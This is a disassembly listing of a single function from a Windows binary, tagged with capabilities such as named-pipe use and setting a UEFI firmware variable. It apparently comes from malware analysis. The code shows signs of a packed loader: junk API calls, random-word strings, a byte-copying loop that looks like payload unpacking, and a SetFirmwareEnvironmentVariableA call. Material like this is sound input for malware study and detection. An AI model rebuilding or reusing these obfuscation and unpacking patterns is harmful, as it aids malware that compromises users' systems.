Function at 0x40b9b0
Capabilities:
Connect pipe
Get common file path
Manipulate console buffer
Read pipe
Set uefi variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
mov eax, dword [0x4a7004]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [0x4a9404]
mov ecx, dword [0x1ff0bac]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
mov edi, edi
cmp eax, 0x180
jne 0x40b9ed
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40ba01
mov dword [0x4a9f00], edi
mov dword [0x4a9f04], esi
inc eax
cmp eax, 0x12376ec
jl 0x40b9e0
mov edi, dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov dword [0x1ff0bac], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40ba29
mov eax, dword [0x4a7ff8]
mov dword [0x1ff0cdc], eax
cmp ecx, 0x3c
jne 0x40ba3d
lea ecx, [ebp - 0x2d0]
push ecx
call edi
mov ecx, dword [0x1ff0bac]
inc esi
cmp esi, 0x5f6c74
jl 0x40ba17
cmp ecx, 0x7c
jne 0x40bb13
lea edx, [ebp - 0xc18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push ebx
call dword [sym.imp.USER32.dll_SetActiveWindow]
lea eax, [ebp - 0xc38]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push ebx
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
lea ecx, [ebp - 0xc14]
push ecx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
xor eax, eax
xor edx, edx
mov word [ebp - 0xc0a], ax
xor ecx, ecx
mov word [ebp - 0xc06], dx
lea eax, [ebp - 0xc20]
push eax
mov word [ebp - 0xc08], cx
mov ecx, dword [ebp - 0xc08]
push ecx
mov word [ebp - 0xc0c], dx
mov edx, dword [ebp - 0xc0c]
push edx
lea eax, [ebp - 0xc10]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputW]
lea ecx, [ebp - 0x404]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
cmp dword [0x1ff0bac], 0x2d
jne 0x40baf5
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0x4a5cd0
push 0x4a9e78
call fcn.00401015
push ebx
call fcn.004012d8
mov ecx, dword [0x1ff0bac]
add esp, 0xc
cmp ecx, 0x110a
jne 0x40bba9
mov dword [0x1ff0ba0], ebx
mov dword [0x1ff0ba4], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
push ebx
lea edx, [ebp - 0xc10]
push edx
push ebx
lea eax, [ebp - 0x404]
push eax
push ebx
push ebx
push str.Yiditopaxatucej_nupifunutonavas_kularixugeziju_zufo_lof
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push ebx
push ebx
push ebx
lea ecx, [ebp - 0xc04]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push ebx
push ebx
call fcn.004010c6
push ebx
push ebx
call fcn.004010c6
push ebx
call fcn.0040b4e4
push str.0__s__d__f
call fcn.004012a5
push ebx
push ebx
call fcn.004012e3
push ebx
call fcn.00401155
push ebx
call fcn.00401092
add esp, 0x28
call fcn.0040b610
xor esi, esi
cmp dword [0x1ff0bac], ebx
jbe 0x40bc0f
mov edi, dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
mov ebx, 0x19b0
mov edx, dword [0x1ff0cdc]
mov dword [ebp - 0xc08], edx
mov eax, 0xa231
add dword [ebp - 0xc08], eax
mov eax, dword [ebp - 0xc08]
mov cl, byte [eax + esi]
mov edx, dword [0x1ff09f4]
mov byte [edx + esi], cl
cmp dword [0x1ff0bac], 0x5ab
jne 0x40bc06
push 0
push 0
push 0
call edi
mov dword [0x1ff09f8], ebx
inc esi
cmp esi, dword [0x1ff0bac]
jb 0x40bbc3
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040b680
call fcn.0040b650
call fcn.0040b970
call fcn.0040b640
mov ecx, dword [ebp - 0xc40]
xor eax, eax
cmp eax, 0x408e
jle 0x40bc45
cmp ecx, 0xf5bed7
jne 0x40bc4d
inc eax
cmp eax, 0x687ed2
jl 0x40bc36
mov esi, dword [sym.imp.KERNEL32.dll_SetFirmwareEnvironmentVariableA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0xc0c], 0x1e4165
mov ebx, 0x8e46a6f0
jmp 0x40bc70
cmp dword [0x1ff0bac], 0xcc1
jne 0x40bc8c
push 0
push 0
push str.pufamedafaboyelewopodelumovow
push str.dezudabijapafozecetexamutinot
call esi
cmp dword [0x1ff0bac], 0x7c4
mov dword [0x1ff0ba8], ebx
jne 0x40bca0
call edi
sub dword [ebp - 0xc0c], 1
jne 0x40bc70
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401006
mov esp, ebp
pop ebp
ret